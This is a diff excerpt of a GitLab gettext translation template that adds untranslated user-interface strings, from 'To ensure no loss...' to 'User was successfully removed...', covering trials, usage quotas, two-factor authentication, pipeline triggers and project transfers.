+msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
+msgstr ""
+
+msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
+msgstr ""
+
+msgid "To further protect your account, consider configuring a two-factor authentication method: %{mfa_link}."
+msgstr ""
+
+msgid "To get started you enter your FogBugz URL and login information below. In the next steps, you'll be able to map users and select the projects you want to import."
+msgstr ""
+
+msgid "To get started, click the link below to confirm your account."
+msgstr ""
+
+msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
+msgstr ""
+
+msgid "To help improve GitLab and its user experience, GitLab will periodically collect usage information."
+msgstr ""
+
+msgid "To help improve GitLab, we would like to periodically %{docs_link}. This can be changed at any time in %{settings_link}."
+msgstr ""
+
+msgid "To import an SVN repository, check out %{svn_link}."
+msgstr ""
+
+msgid "To keep this project going, create a new issue"
+msgstr ""
+
+msgid "To keep this project going, create a new merge request"
+msgstr ""
+
+msgid "To link Sentry to GitLab, enter your Sentry URL and Auth Token."
+msgstr ""
+
+msgid "To move or copy an entire GitLab project from another GitLab installation to this one, navigate to the original project's settings page, generate an export file, and upload it here."
+msgstr ""
+
+msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
+msgstr ""
+
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
+msgstr ""
+
+msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
+msgstr ""
+
+msgid "To preserve performance only %{strong_open}%{display_size} of %{real_size}%{strong_close} files are displayed."
+msgstr ""
+
+msgid "To protect this issue's confidentiality, %{forkLink} and set the fork's visibility to private."
+msgstr ""
+
+msgid "To protect this issue's confidentiality, a private fork of this project was selected."
+msgstr ""
+
+msgid "To receive alerts from manually configured Prometheus services, add the following URL and Authorization key to your Prometheus webhook config file. Learn more about %{linkStart}configuring Prometheus%{linkEnd} to send alerts to GitLab."
+msgstr ""
+
+msgid "To see all the user's personal access tokens you must impersonate them first."
+msgstr ""
+
+msgid "To see this project's operational details, %{linkStart}upgrade its group plan to Premium%{linkEnd}. You can also remove the project from the dashboard."
+msgstr ""
+
+msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
+msgstr ""
+
+msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
+msgstr ""
+
+msgid "To set up this service:"
+msgstr ""
+
+msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
+msgstr ""
+
+msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
+msgstr ""
+
+msgid "To unsubscribe from this issue, please paste the following link into your browser:"
+msgstr ""
+
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
+msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
+msgstr ""
+
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
+msgstr ""
+
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
+msgid "To widen your search, change or remove filters above"
+msgstr ""
+
+msgid "To widen your search, change or remove filters above."
+msgstr ""
+
+msgid "To widen your search, change or remove filters."
+msgstr ""
+
+msgid "To-Do List"
+msgstr ""
+
+msgid "To-do item successfully marked as done."
+msgstr ""
+
+msgid "Today"
+msgstr ""
+
+msgid "Toggle GitLab Next"
+msgstr ""
+
+msgid "Toggle Markdown preview"
+msgstr ""
+
+msgid "Toggle Sidebar"
+msgstr ""
+
+msgid "Toggle backtrace"
+msgstr ""
+
+msgid "Toggle collapse"
+msgstr ""
+
+msgid "Toggle comments for this file"
+msgstr ""
+
+msgid "Toggle commit description"
+msgstr ""
+
+msgid "Toggle commit list"
+msgstr ""
+
+msgid "Toggle dropdown"
+msgstr ""
+
+msgid "Toggle emoji award"
+msgstr ""
+
+msgid "Toggle focus mode"
+msgstr ""
+
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
+msgid "Toggle navigation"
+msgstr ""
+
+msgid "Toggle project select"
+msgstr ""
+
+msgid "Toggle sidebar"
+msgstr ""
+
+msgid "Toggle the Performance Bar"
+msgstr ""
+
+msgid "Toggle this dialog"
+msgstr ""
+
+msgid "Toggle thread"
+msgstr ""
+
+msgid "Toggled :%{name}: emoji award."
+msgstr ""
+
+msgid "Toggles :%{name}: emoji award."
+msgstr ""
+
+msgid "Token"
+msgstr ""
+
+msgid "Token valid until revoked"
+msgstr ""
+
+msgid "Tomorrow"
+msgstr ""
+
+msgid "Too many changes to show."
+msgstr ""
+
+msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgstr ""
+
+msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgstr ""
+
+msgid "Too much data"
+msgstr ""
+
+msgid "Topics (optional)"
+msgstr ""
+
+msgid "Total"
+msgstr ""
+
+msgid "Total Contributions"
+msgstr ""
+
+msgid "Total Score"
+msgstr ""
+
+msgid "Total artifacts size: %{total_size}"
+msgstr ""
+
+msgid "Total cores (CPUs)"
+msgstr ""
+
+msgid "Total days to completion"
+msgstr ""
+
+msgid "Total issues"
+msgstr ""
+
+msgid "Total memory (GB)"
+msgstr ""
+
+msgid "Total test time for all commits/merges"
+msgstr ""
+
+msgid "Total users"
+msgstr ""
+
+msgid "Total weight"
+msgstr ""
+
+msgid "Total: %{total}"
+msgstr ""
+
+msgid "TotalMilestonesIndicator|1000+"
+msgstr ""
+
+msgid "TotalRefCountIndicator|1000+"
+msgstr ""
+
+msgid "Tracing"
+msgstr ""
+
+msgid "Track groups of issues that share a theme, across projects and milestones"
+msgstr ""
+
+msgid "Track time with quick actions"
+msgstr ""
+
+msgid "Track your GitLab projects with GitLab for Slack."
+msgstr ""
+
+msgid "Track your project with Audit Events."
+msgstr ""
+
+msgid "Transfer"
+msgstr ""
+
+msgid "Transfer ownership"
+msgstr ""
+
+msgid "Transfer project"
+msgstr ""
+
+msgid "Transfer your project into another namespace. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "TransferGroup|Cannot transfer group to one of its subgroup."
+msgstr ""
+
+msgid "TransferGroup|Cannot update the path because there are projects under this group that contain Docker images in their Container Registry. Please remove the images from your projects first and try again."
+msgstr ""
+
+msgid "TransferGroup|Database is not supported."
+msgstr ""
+
+msgid "TransferGroup|Group contains projects with NPM packages."
+msgstr ""
+
+msgid "TransferGroup|Group is already a root group."
+msgstr ""
+
+msgid "TransferGroup|Group is already associated to the parent group."
+msgstr ""
+
+msgid "TransferGroup|The parent group already has a subgroup with the same path."
+msgstr ""
+
+msgid "TransferGroup|Transfer failed: %{error_message}"
+msgstr ""
+
+msgid "TransferGroup|You don't have enough permissions."
+msgstr ""
+
+msgid "TransferProject|Cannot move project"
+msgstr ""
+
+msgid "TransferProject|Please select a new namespace for your project."
+msgstr ""
+
+msgid "TransferProject|Project cannot be transferred, because tags are present in its container registry"
+msgstr ""
+
+msgid "TransferProject|Project with same name or path in target namespace already exists"
+msgstr ""
+
+msgid "TransferProject|Root namespace can't be updated if project has NPM packages"
+msgstr ""
+
+msgid "TransferProject|Transfer failed, please contact an admin."
+msgstr ""
+
+msgid "Tree view"
+msgstr ""
+
+msgid "Trending"
+msgstr ""
+
+msgid "Trials|%{planName} Trial %{enDash} %{num} day left"
+msgid_plural "Trials|%{planName} Trial %{enDash} %{num} days left"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Trials|Compare all plans"
+msgstr ""
+
+msgid "Trials|Create a new group to start your GitLab Ultimate trial."
+msgstr ""
+
+msgid "Trials|Go back to GitLab"
+msgstr ""
+
+msgid "Trials|Hey there"
+msgstr ""
+
+msgid "Trials|Skip Trial"
+msgstr ""
+
+msgid "Trials|Upgrade %{groupName} to %{planName}"
+msgstr ""
+
+msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
+msgstr ""
+
+msgid "Trials|You can apply your trial to a new group or an existing group."
+msgstr ""
+
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
+msgstr ""
+
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
+msgstr ""
+
+msgid "Trial|Company name"
+msgstr ""
+
+msgid "Trial|Continue using the basic features of GitLab for free."
+msgstr ""
+
+msgid "Trial|Country"
+msgstr ""
+
+msgid "Trial|Dismiss"
+msgstr ""
+
+msgid "Trial|GitLab Ultimate trial (optional)"
+msgstr ""
+
+msgid "Trial|How many employees will use Gitlab?"
+msgstr ""
+
+msgid "Trial|Number of employees"
+msgstr ""
+
+msgid "Trial|Successful trial activation image"
+msgstr ""
+
+msgid "Trial|Telephone number"
+msgstr ""
+
+msgid "Trial|Upgrade to Ultimate to keep using GitLab with advanced features."
+msgstr ""
+
+msgid "Trial|We will activate your trial on your group after you complete this step. After 30 days, you can:"
+msgstr ""
+
+msgid "Trigger"
+msgstr ""
+
+msgid "Trigger a pipeline for a branch or tag by generating a trigger token and using it with an API call. The token impersonates a user's project access and permissions."
+msgstr ""
+
+msgid "Trigger cluster reindexing"
+msgstr ""
+
+msgid "Trigger manual job"
+msgstr ""
+
+msgid "Trigger pipelines for mirror updates"
+msgstr ""
+
+msgid "Trigger pipelines when branches or tags are updated in the upstream repository. Depending on the activity of the upstream repository, this may greatly increase the load on your CI runners. Only enable this if you know they can handle the load."
+msgstr ""
+
+msgid "Trigger removed."
+msgstr ""
+
+msgid "Trigger repository check"
+msgstr ""
+
+msgid "Trigger this manual action"
+msgstr ""
+
+msgid "Trigger token:"
+msgstr ""
+
+msgid "Trigger variables:"
+msgstr ""
+
+msgid "Trigger was created successfully."
+msgstr ""
+
+msgid "Trigger was successfully updated."
+msgstr ""
+
+msgid "Triggerer"
+msgstr ""
+
+msgid "Triggers|In each example, replace %{code_start}TOKEN%{code_end} with the trigger token you generated and replace %{code_start}REF_NAME%{code_end} with the branch or tag name."
+msgstr ""
+
+msgid "Triggers|To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
+msgstr ""
+
+msgid "Troubleshoot and monitor your application with tracing"
+msgstr ""
+
+msgid "Trusted"
+msgstr ""
+
+msgid "Try again"
+msgstr ""
+
+msgid "Try again?"
+msgstr ""
+
+msgid "Try all GitLab has to offer for 30 days."
+msgstr ""
+
+msgid "Try changing or removing filters."
+msgstr ""
+
+msgid "Try grouping with different labels"
+msgstr ""
+
+msgid "Try to fork again"
+msgstr ""
+
+msgid "Try to keep the first line under 52 characters and the others under 72."
+msgstr ""
+
+msgid "Try using a different search term to find the file you are looking for."
+msgstr ""
+
+msgid "Trying to communicate with your device. Plug it in (if needed) and press the button on the device now."
+msgstr ""
+
+msgid "Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now."
+msgstr ""
+
+msgid "Tuesday"
+msgstr ""
+
+msgid "Tuning settings"
+msgstr ""
+
+msgid "Turn off"
+msgstr ""
+
+msgid "Turn on"
+msgstr ""
+
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
+msgid "Twitter"
+msgstr ""
+
+msgid "Two-Factor Authentication"
+msgstr ""
+
+msgid "Two-Factor Authentication code"
+msgstr ""
+
+msgid "Two-factor Authentication"
+msgstr ""
+
+msgid "Two-factor Authentication Recovery codes"
+msgstr ""
+
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
+msgid "Type"
+msgstr ""
+
+msgid "Type/State"
+msgstr ""
+
+msgid "U2F Devices (%{length})"
+msgstr ""
+
+msgid "U2F only works with HTTPS-enabled websites. Contact your administrator for more details."
+msgstr ""
+
+msgid "URL"
+msgstr ""
+
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
+msgid "URL is required"
+msgstr ""
+
+msgid "URL is triggered for each branch updated to the repository"
+msgstr ""
+
+msgid "URL is triggered when a merge request is created, updated, or merged"
+msgstr ""
+
+msgid "URL is triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "URL is triggered when repository is updated"
+msgstr ""
+
+msgid "URL must be percent-encoded if neccessary."
+msgstr ""
+
+msgid "URL must start with %{codeStart}http://%{codeEnd}, %{codeStart}https://%{codeEnd}, or %{codeStart}ftp://%{codeEnd}"
+msgstr ""
+
+msgid "URL of the external Spam Check endpoint"
+msgstr ""
+
+msgid "URL of the external storage that will serve the repository static objects (e.g. archives, blobs, ...)."
+msgstr ""
+
+msgid "URL or request ID"
+msgstr ""
+
+msgid "USER %{user} WILL BE REMOVED! Are you sure?"
+msgstr ""
+
+msgid "USER WILL BE BLOCKED! Are you sure?"
+msgstr ""
+
+msgid "UTC"
+msgstr ""
+
+msgid "Unable to apply suggestions to a deleted line."
+msgstr ""
+
+msgid "Unable to build Slack link."
+msgstr ""
+
+msgid "Unable to collect CPU info"
+msgstr ""
+
+msgid "Unable to collect memory info"
+msgstr ""
+
+msgid "Unable to connect to Elasticsearch"
+msgstr ""
+
+msgid "Unable to connect to Prometheus server"
+msgstr ""
+
+msgid "Unable to connect to server: %{error}"
+msgstr ""
+
+msgid "Unable to connect to the Jira instance. Please check your Jira integration configuration."
+msgstr ""
+
+msgid "Unable to convert Kubernetes logs encoding to UTF-8"
+msgstr ""
+
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
+msgid "Unable to fetch unscanned projects"
+msgstr ""
+
+msgid "Unable to fetch vulnerable projects"
+msgstr ""
+
+msgid "Unable to find Jira project to import data from."
+msgstr ""
+
+msgid "Unable to generate new instance ID"
+msgstr ""
+
+msgid "Unable to load commits. Try again later."
+msgstr ""
+
+msgid "Unable to load file contents. Try again later."
+msgstr ""
+
+msgid "Unable to load the diff"
+msgstr ""
+
+msgid "Unable to load the diff. %{button_try_again}"
+msgstr ""
+
+msgid "Unable to load the merge request widget. Try reloading the page."
+msgstr ""
+
+msgid "Unable to save iteration. Please try again"
+msgstr ""
+
+msgid "Unable to save your changes. Please try again."
+msgstr ""
+
+msgid "Unable to save your preference"
+msgstr ""
+
+msgid "Unable to schedule a pipeline to run immediately"
+msgstr ""
+
+msgid "Unable to sign you in to the group with SAML due to \"%{reason}\""
+msgstr ""
+
+msgid "Unable to suggest a path. Please refresh and try again."
+msgstr ""
+
+msgid "Unable to update label prioritization at this time"
+msgstr ""
+
+msgid "Unable to update this epic at this time."
+msgstr ""
+
+msgid "Unable to update this issue at this time."
+msgstr ""
+
+msgid "Unarchive project"
+msgstr ""
+
+msgid "Unarchiving the project will restore its members' ability to make changes to it. The repository can be committed to, and issues, comments, and other entities can be created. %{strong_start}Once active, this project shows up in the search and on the dashboard.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgstr ""
+
+msgid "Unassign from commenting user"
+msgstr ""
+
+msgid "Unassigned"
+msgstr ""
+
+msgid "Unauthenticated request rate limit"
+msgstr ""
+
+msgid "Undo"
+msgstr ""
+
+msgid "Undo Ignore"
+msgstr ""
+
+msgid "Undo ignore"
+msgstr ""
+
+msgid "Unexpected error"
+msgstr ""
+
+msgid "Unfollow"
+msgstr ""
+
+msgid "Unfortunately, your email message to GitLab could not be processed."
+msgstr ""
+
+msgid "Uninstall"
+msgstr ""
+
+msgid "Uninstalling"
+msgstr ""
+
+msgid "Units|ms"
+msgstr ""
+
+msgid "Units|s"
+msgstr ""
+
+msgid "Unknown"
+msgstr ""
+
+msgid "Unknown Error"
+msgstr ""
+
+msgid "Unknown cache key"
+msgstr ""
+
+msgid "Unknown encryption strategy: %{encrypted_strategy}!"
+msgstr ""
+
+msgid "Unknown format"
+msgstr ""
+
+msgid "Unknown response text"
+msgstr ""
+
+msgid "Unless otherwise agreed to in writing with GitLab, by clicking \"Upload License\" you agree that your use of GitLab Software is subject to the %{eula_link_start}Terms of Service%{eula_link_end}."
+msgstr ""
+
+msgid "Unlimited"
+msgstr ""
+
+msgid "Unlock"
+msgstr ""
+
+msgid "Unlock the discussion"
+msgstr ""
+
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
+
+msgid "Unlocked"
+msgstr ""
+
+msgid "Unlocked the discussion."
+msgstr ""
+
+msgid "Unlocks the discussion."
+msgstr ""
+
+msgid "Unmarked this %{noun} as a draft."
+msgstr ""
+
+msgid "Unmarks this %{noun} as a draft."
+msgstr ""
+
+msgid "Unreachable"
+msgstr ""
+
+msgid "Unrecognized cluster type"
+msgstr ""
+
+msgid "Unresolve"
+msgstr ""
+
+msgid "Unresolve thread"
+msgstr ""
+
+msgid "Unresolved"
+msgstr ""
+
+msgid "UnscannedProjects|15 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|30 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|5 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|60 or more days"
+msgstr ""
+
+msgid "UnscannedProjects|Default branch scanning by project"
+msgstr ""
+
+msgid "UnscannedProjects|Out of date"
+msgstr ""
+
+msgid "UnscannedProjects|Project scanning"
+msgstr ""
+
+msgid "UnscannedProjects|Untested"
+msgstr ""
+
+msgid "UnscannedProjects|Your projects are up do date! Nice job!"
+msgstr ""
+
+msgid "Unschedule job"
+msgstr ""
+
+msgid "Unstar"
+msgstr ""
+
+msgid "Unstarted"
+msgstr ""
+
+msgid "Unsubscribe"
+msgstr ""
+
+msgid "Unsubscribe at group level"
+msgstr ""
+
+msgid "Unsubscribe at project level"
+msgstr ""
+
+msgid "Unsubscribe from %{type}"
+msgstr ""
+
+msgid "Unsubscribed from this %{quick_action_target}."
+msgstr ""
+
+msgid "Unsubscribes from this %{quick_action_target}."
+msgstr ""
+
+msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
+msgstr ""
+
+msgid "Until"
+msgstr ""
+
+msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
+msgstr ""
+
+msgid "Unverified"
+msgstr ""
+
+msgid "Up to date"
+msgstr ""
+
+msgid "Upcoming"
+msgstr ""
+
+msgid "Upcoming Release"
+msgstr ""
+
+msgid "Update"
+msgstr ""
+
+msgid "Update %{sourcePath} file"
+msgstr ""
+
+msgid "Update all"
+msgstr ""
+
+msgid "Update approval rule"
+msgstr ""
+
+msgid "Update approvers"
+msgstr ""
+
+msgid "Update failed"
+msgstr ""
+
+msgid "Update it"
+msgstr ""
+
+msgid "Update iteration"
+msgstr ""
+
+msgid "Update now"
+msgstr ""
+
+msgid "Update username"
+msgstr ""
+
+msgid "Update variable"
+msgstr ""
+
+msgid "Update your bookmarked URLs as filtered/sorted branches URL has been changed."
+msgstr ""
+
+msgid "Update your group name, description, avatar, and visibility."
+msgstr ""
+
+msgid "Update your project name, topics, description, and avatar."
+msgstr ""
+
+msgid "UpdateProject|Cannot rename project because it contains container registry tags!"
+msgstr ""
+
+msgid "UpdateProject|Could not set the default branch"
+msgstr ""
+
+msgid "UpdateProject|New visibility level not allowed!"
+msgstr ""
+
+msgid "UpdateProject|Project could not be updated!"
+msgstr ""
+
+msgid "UpdateRepositoryStorage|Error moving repository storage for %{container_full_path} - %{message}"
+msgstr ""
+
+msgid "UpdateRepositoryStorage|Failed to verify %{type} repository checksum from %{old} to %{new}"
+msgstr ""
+
+msgid "UpdateRepositoryStorage|Timeout waiting for %{type} repository pushes"
+msgstr ""
+
+msgid "Updated"
+msgstr ""
+
+msgid "Updated %{updated_at} by %{updated_by}"
+msgstr ""
+
+msgid "Updated to %{linkStart}chart v%{linkEnd}"
+msgstr ""
+
+msgid "Updates"
+msgstr ""
+
+msgid "Updating"
+msgstr ""
+
+msgid "Upgrade offers available!"
+msgstr ""
+
+msgid "Upgrade your plan"
+msgstr ""
+
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
+
+msgid "Upgrade your plan to activate Audit Events."
+msgstr ""
+
+msgid "Upgrade your plan to activate Group Webhooks."
+msgstr ""
+
+msgid "Upgrade your plan to enable this feature of the Jira Integration."
+msgstr ""
+
+msgid "Upgrade your plan to improve merge requests."
+msgstr ""
+
+msgid "Upload"
+msgstr ""
+
+msgid "Upload CSV file"
+msgstr ""
+
+msgid "Upload File"
+msgstr ""
+
+msgid "Upload License"
+msgstr ""
+
+msgid "Upload New File"
+msgstr ""
+
+msgid "Upload New License"
+msgstr ""
+
+msgid "Upload a certificate for your domain with all intermediates"
+msgstr ""
+
+msgid "Upload a private key for your certificate"
+msgstr ""
+
+msgid "Upload an image"
+msgstr ""
+
+msgid "Upload file"
+msgstr ""
+
+msgid "Upload object map"
+msgstr ""
+
+msgid "UploadLink|click to upload"
+msgstr ""
+
+msgid "Uploaded on"
+msgstr ""
+
+msgid "Uploaded:"
+msgstr ""
+
+msgid "Uploading changes to terminal"
+msgstr ""
+
+msgid "Uploads"
+msgstr ""
+
+msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. Until that time:"
+msgstr ""
+
+msgid "Upstream"
+msgstr ""
+
+msgid "Uptime"
+msgstr ""
+
+msgid "Upvotes"
+msgstr ""
+
+msgid "Usage"
+msgstr ""
+
+msgid "Usage Trends"
+msgstr ""
+
+msgid "Usage ping is off"
+msgstr ""
+
+msgid "Usage statistics"
+msgstr ""
+
+msgid "UsageQuota|%{help_link_start}Shared runners%{help_link_end} are disabled, so there are no limits set on pipeline usage"
+msgstr ""
+
+msgid "UsageQuota|%{percentageLeft} of purchased storage is available"
+msgstr ""
+
+msgid "UsageQuota|Artifacts"
+msgstr ""
+
+msgid "UsageQuota|Artifacts is a sum of build and pipeline artifacts."
+msgstr ""
+
+msgid "UsageQuota|Buy additional minutes"
+msgstr ""
+
+msgid "UsageQuota|Current period usage"
+msgstr ""
+
+msgid "UsageQuota|Increase storage temporarily"
+msgstr ""
+
+msgid "UsageQuota|LFS Objects"
+msgstr ""
+
+msgid "UsageQuota|LFS Storage"
+msgstr ""
+
+msgid "UsageQuota|Learn more about excess storage usage"
+msgstr ""
+
+msgid "UsageQuota|Learn more about usage quotas"
+msgstr ""
+
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
+msgid "UsageQuota|Packages"
+msgstr ""
+
+msgid "UsageQuota|Pipelines"
+msgstr ""
+
+msgid "UsageQuota|Purchase more storage"
+msgstr ""
+
+msgid "UsageQuota|Purchased storage available"
+msgstr ""
+
+msgid "UsageQuota|Repositories"
+msgstr ""
+
+msgid "UsageQuota|Repository"
+msgstr ""
+
+msgid "UsageQuota|Snippets"
+msgstr ""
+
+msgid "UsageQuota|Storage"
+msgstr ""
+
+msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
+msgstr ""
+
+msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
+msgstr ""
+
+msgid "UsageQuota|This namespace contains locked projects"
+msgstr ""
+
+msgid "UsageQuota|This namespace has no projects which use shared runners"
+msgstr ""
+
+msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
+msgstr ""
+
+msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
+msgstr ""
+
+msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
+msgstr ""
+
+msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
+msgstr ""
+
+msgid "UsageQuota|Total excess storage used"
+msgstr ""
+
+msgid "UsageQuota|Total namespace storage used"
+msgstr ""
+
+msgid "UsageQuota|Unlimited"
+msgstr ""
+
+msgid "UsageQuota|Uploads"
+msgstr ""
+
+msgid "UsageQuota|Usage"
+msgstr ""
+
+msgid "UsageQuota|Usage Quotas"
+msgstr ""
+
+msgid "UsageQuota|Usage of group resources across the projects in the %{strong_start}%{group_name}%{strong_end} group"
+msgstr ""
+
+msgid "UsageQuota|Usage of resources across your projects"
+msgstr ""
+
+msgid "UsageQuota|Usage quotas help link"
+msgstr ""
+
+msgid "UsageQuota|Usage since"
+msgstr ""
+
+msgid "UsageQuota|When you purchase additional storage, we automatically unlock projects that were locked when you reached the %{actualRepositorySizeLimit} limit."
+msgstr ""
+
+msgid "UsageQuota|Wiki"
+msgstr ""
+
+msgid "UsageQuota|Wikis"
+msgstr ""
+
+msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
+msgstr ""
+
+msgid "UsageQuota|You have reached the free storage limit of %{actualRepositorySizeLimit} on %{projectsLockedText}. To unlock them, please purchase additional storage."
+msgstr ""
+
+msgid "UsageQuota|You used: %{usage} %{limit}"
+msgstr ""
+
+msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, please purchase more storage."
+msgstr ""
+
+msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
+msgstr ""
+
+msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "UsageTrends|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "UsageTrends|Could not load the projects and groups chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "UsageTrends|Groups"
+msgstr ""
+
+msgid "UsageTrends|Issues"
+msgstr ""
+
+msgid "UsageTrends|Issues & Merge Requests"
+msgstr ""
+
+msgid "UsageTrends|Items"
+msgstr ""
+
+msgid "UsageTrends|Merge Requests"
+msgstr ""
+
+msgid "UsageTrends|Month"
+msgstr ""
+
+msgid "UsageTrends|No data available."
+msgstr ""
+
+msgid "UsageTrends|Pipelines"
+msgstr ""
+
+msgid "UsageTrends|Pipelines canceled"
+msgstr ""
+
+msgid "UsageTrends|Pipelines failed"
+msgstr ""
+
+msgid "UsageTrends|Pipelines skipped"
+msgstr ""
+
+msgid "UsageTrends|Pipelines succeeded"
+msgstr ""
+
+msgid "UsageTrends|Pipelines total"
+msgstr ""
+
+msgid "UsageTrends|Projects"
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the cancelled pipelines. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the failed pipelines. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the groups. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the issues. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the merge requests. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the projects. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the skipped pipelines. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the successful pipelines. Please try again."
+msgstr ""
+
+msgid "UsageTrends|There was an error fetching the total pipelines. Please try again."
+msgstr ""
+
+msgid "UsageTrends|Total groups"
+msgstr ""
+
+msgid "UsageTrends|Total projects"
+msgstr ""
+
+msgid "UsageTrends|Total projects & groups"
+msgstr ""
+
+msgid "UsageTrends|Users"
+msgstr ""
+
+msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
+msgstr ""
+
+msgid "Use .gitlab-ci.yml"
+msgstr ""
+
+msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
+msgstr ""
+
+msgid "Use cURL"
+msgstr ""
+
+msgid "Use custom color #FF0000"
+msgstr ""
+
+msgid "Use hashed storage"
+msgstr ""
+
+msgid "Use hashed storage paths for newly created and renamed repositories. Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Repository URL changes and may improve disk I/O performance. (Always enabled since 13.0)"
+msgstr ""
+
+msgid "Use one line per URI"
+msgstr ""
+
+msgid "Use template"
+msgstr ""
+
+msgid "Use this token to validate received payloads."
+msgstr ""
+
+msgid "Use webhook"
+msgstr ""
+
+msgid "Use your global notification setting"
+msgstr ""
+
+msgid "Use your smart card to authenticate with the LDAP server."
+msgstr ""
+
+msgid "Used by members to sign in to your group in GitLab"
+msgstr ""
+
+msgid "Used programming language"
+msgstr ""
+
+msgid "Used to help configure your identity provider"
+msgstr ""
+
+msgid "User"
+msgstr ""
+
+msgid "User %{current_user_username} has started impersonating %{username}"
+msgstr ""
+
+msgid "User %{username} was successfully removed."
+msgstr ""
+
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
+msgid "User ID"
+msgstr ""
+
+msgid "User OAuth applications"
+msgstr ""
+
+msgid "User Settings"
+msgstr ""
+
+msgid "User and IP Rate Limits"
+msgstr ""
+
+msgid "User identity was successfully created."
+msgstr ""
+
+msgid "User identity was successfully removed."
+msgstr ""
+
+msgid "User identity was successfully updated."
+msgstr ""
+
+msgid "User is not allowed to resolve thread"
+msgstr ""
+
+msgid "User key was successfully removed."
+msgstr ""
+
+msgid "User list %{name} will be removed. Are you sure?"
+msgstr ""
+
+msgid "User map"
+msgstr ""
+
+msgid "User pipeline minutes were successfully reset."
+msgstr ""
+
+msgid "User restrictions"
+msgstr ""
+
+msgid "User settings"
+msgstr ""
+
+msgid "User was successfully created."
+msgstr ""
+
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
